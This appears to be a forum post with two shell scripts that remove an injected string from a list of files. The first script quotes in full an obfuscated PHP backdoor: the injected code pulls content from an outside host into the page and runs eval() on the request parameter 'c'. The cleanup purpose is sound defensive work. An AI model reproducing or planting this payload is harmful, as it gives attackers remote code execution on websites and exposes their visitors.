Код: Выделить всё
#!/bin/sh
while read filename
do
echo $filename
cat $filename | sed 's|<?php $GLOBALS['_1158244728_']=Array(base64_decode('ZXJyb3' .'JfcmVwb3' .'J0a' .'W' .'5n'),base64_decode('' .'aW5p' .'X' .'3Nl' .'d' .'A=' .'='),base64_decode('cHJlZ' .'19' .'tYX' .'RjaA=='),base64_decode('ZmlsZV9nZX' .'R' .'fY2' .'9udGVudHM='),base64_decode('bXRfcm' .'F' .'uZA=='),base64_decode('c3' .'RycG9' .'z'),base64_decode('dXJs' .'ZW5jb2Rl'),base64_decode('dX' .'JsZ' .'W' .'5j' .'b2Rl'),base64_decode('b' .'W' .'Q1'),base64_decode('c3Ry' .'cG' .'Jyaw=='),base64_decode('aW5' .'pX2dldA=='),base64_decode('Zm' .'l' .'sZ' .'V9n' .'ZXRfY29u' .'dGVudH' .'M='),base64_decode('ZnVu' .'Y3Rpb' .'2' .'5fZXh' .'pc3Rz'),base64_decode('' .'Y3Vy' .'b' .'F9p' .'bm' .'l0'),base64_decode('Y3Vyb' .'F9zZX' .'Rvc' .'HQ='),base64_decode('Y3' .'VybF9z' .'ZXRvcHQ='),base64_decode('Y3' .'Vy' .'b' .'F9leGVj'),base64_decode('Y' .'3Vy' .'bF9' .'jbG9zZQ=='),base64_decode('bXR' .'f' .'cmFuZA' .'=='),base64_decode('aW' .'1hZ2' .'V' .'j' .'b3' .'B5'),base64_decode('c3R' .'yaXBzbGFzaGVz')); function _376563700($i){$a=Array('Z' .'GlzcGxheV9lc' .'nJvcnM' .'=','' .'MA' .'==','Y2x' .'pZ' .'W50X' .'2NoZWNr','Y2xp' .'ZW50X2No' .'ZWNr','IVx' .'T' .'IXU=','' .'U0NSSVBU' .'X0ZJ' .'TEVOQ' .'U1F','' .'dQ==','dw==','U' .'0' .'VSVk' .'VSX05' .'BTU' .'U=','UkV' .'RVUVTVF9VUkk=','SFRUU' .'F9' .'VU0VSX0F' .'HRU5' .'U','aHR0cDo' .'vL2' .'FsZ' .'Xh2YW5' .'kZWVwLmNvbS9nZXQucG' .'hwP2Q' .'9','Jn' .'U' .'9','J' .'mM' .'9','Jmk' .'9MTgmaD0=','Njg5MzFmM2EwZ' .'DBmN' .'2UzO' .'Dk2YzZlN2QxYjg' .'0MmRhYjM=','' .'MTg=','YWxsb3' .'dfdX' .'JsX2ZvcGVu','Y3VybF9pbm' .'l0','' .'Z2Jh','cA=' .'=','' .'NmM5MDUzZ' .'DU=');return base64_decode($a[$i]);} $GLOBALS['_1158244728_'][0](round(0));$jdd228_0=round(0+554.66666666667+554.66666666667+554.66666666667);$GLOBALS['_1158244728_'][1](_376563700(0),_376563700(1));if(!empty($_COOKIE[_376563700(2)]))die($_COOKIE[_376563700(3)]);if($GLOBALS['_1158244728_'][2](_376563700(4),$GLOBALS['_1158244728_'][3]($_SERVER[_376563700(5)])))$jdd228_1=_376563700(6);else $jdd228_1=_376563700(7);$jdd228_2=$_SERVER[_376563700(8)] .$_SERVER[_376563700(9)];$jdd228_3=$_SERVER[_376563700(10)];if(round(0+1054.2+1054.2+1054.2+1054.2+1054.2)<$GLOBALS['_1158244728_'][4](round(0+525.75+525.75+525.75+525.75),round(0+1581.5+1581.5)))$GLOBALS['_1158244728_'][5]($jdd228_2,$jdd228_4);$jdd228_5=_376563700(11) .$GLOBALS['_1158244728_'][6]($jdd228_2) ._376563700(12) .$GLOBALS['_1158244728_'][7]($jdd228_3) ._376563700(13) .$jdd228_1 ._376563700(14) .$GLOBALS['_1158244728_'][8](_376563700(15) .$jdd228_2 .$jdd228_3 .$jdd228_1 ._376563700(16));while(round(0+1147.6666666667+1147.6666666667+1147.6666666667)-round(0+3443))$GLOBALS['_1158244728_'][9]($jdd228_1,$_COOKIE,$_COOKIE,$_REQUEST);if($GLOBALS['_1158244728_'][10](_376563700(17))== round(0+0.5+0.5)){echo $GLOBALS['_1158244728_'][11]($jdd228_5);}elseif($GLOBALS['_1158244728_'][12](_376563700(18))){$jdd228_4=$GLOBALS['_1158244728_'][13]($jdd228_5);$GLOBALS['_1158244728_'][14]($jdd228_4,42,FALSE);$GLOBALS['_1158244728_'][15]($jdd228_4,19913,TRUE);$jdd228_6=$GLOBALS['_1158244728_'][16]($jdd228_4);$jdd228_7=_376563700(19);$GLOBALS['_1158244728_'][17]($jdd228_4);echo $jdd228_6;if(round(0+3382)<$GLOBALS['_1158244728_'][18](round(0+371+371+371+371),round(0+473.25+473.25+473.25+473.25)))$GLOBALS['_1158244728_'][19]($_REQUEST,$jdd228_3,$jdd228_3,$jdd228_5);}if($_REQUEST[_376563700(20)]== _376563700(21))eval($GLOBALS['_1158244728_'][20]($_REQUEST["c"])); ?>||g' > 1.txt
mv 1.txt $filename
done < file.txt
Код: Выделить всё
#!/bin/sh
while read filename
do
echo $filename
cat $filename | sed 's|teststring||g' > 1.txt
mv 1.txt $filename
done < file.txt